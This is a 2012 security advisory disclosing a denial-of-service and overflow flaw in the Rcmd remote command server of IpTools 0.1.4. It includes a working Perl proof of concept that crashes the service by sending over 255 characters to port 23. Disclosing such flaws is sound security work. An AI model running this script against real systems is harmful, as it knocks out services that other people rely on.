IpTools (Tiny TCP/IP server) version 0.1.4 suffers from denial of service and overflow vulnerabilities.
bdf1ea586fea677491e015279797adfa7ca3848e267daac8854bb6a545bbfac1
Title: IpTools(Tiny TCP/IP server) - Rcmd Remote Overflow Vulnerability
Software : IpTools(Tiny TCP/IP server)
Software Version : 0.1.4
Vendor: http://iptools.sourceforge.net/iptools.html
Class: Boundary Condition Error
CVE:
Remote: Yes
Local: No
Published: 2012-01-07
Updated:
Impact : High
Bug Description :
IPtools is a set of small tiny TCP/IP programs includes Remote command server(not a telnet server, Executable file: Rcmd.bat), etc.
And the remote command server would bind tcp port 23, but it does not validate the command input size leading to a Denial Of Service
flaw while sending more than 255 characters to it.
POC:
#-------------------------------------------------------------
#!/usr/bin/perl -w
#IpTools(0.1.4) - Rcmd Remote Crash PoC by demonalex@163.com
#-------------------------------------------------------------
use IO::Socket;
$remote_host = '127.0.0.1'; #victim ip as your wish
$remote_port = 23; #rcmd default port number
$sock = IO::Socket::INET->new(PeerAddr => $remote_host, PeerPort => $remote_port,
Timeout => 60) || die "$remote_host -> $remote_port is closed!\n";
$sock->recv($content, 1000, 0);
$count=0;
while($count<=255){
$sock->send("a", 0);
$count++;
}
$sock->send("\r\n", 0);
$sock->recv($content, 1000, 0);
$sock->shutdown(2);
exit(1);
#-------------------------------------------------------------
Credits : This vulnerability was discovered by demonalex@163.com
mail: demonalex@163.com / ChaoYi.Huang@connect.polyu.hk
Pentester/Researcher
Dark2S Security Team/PolyU.HK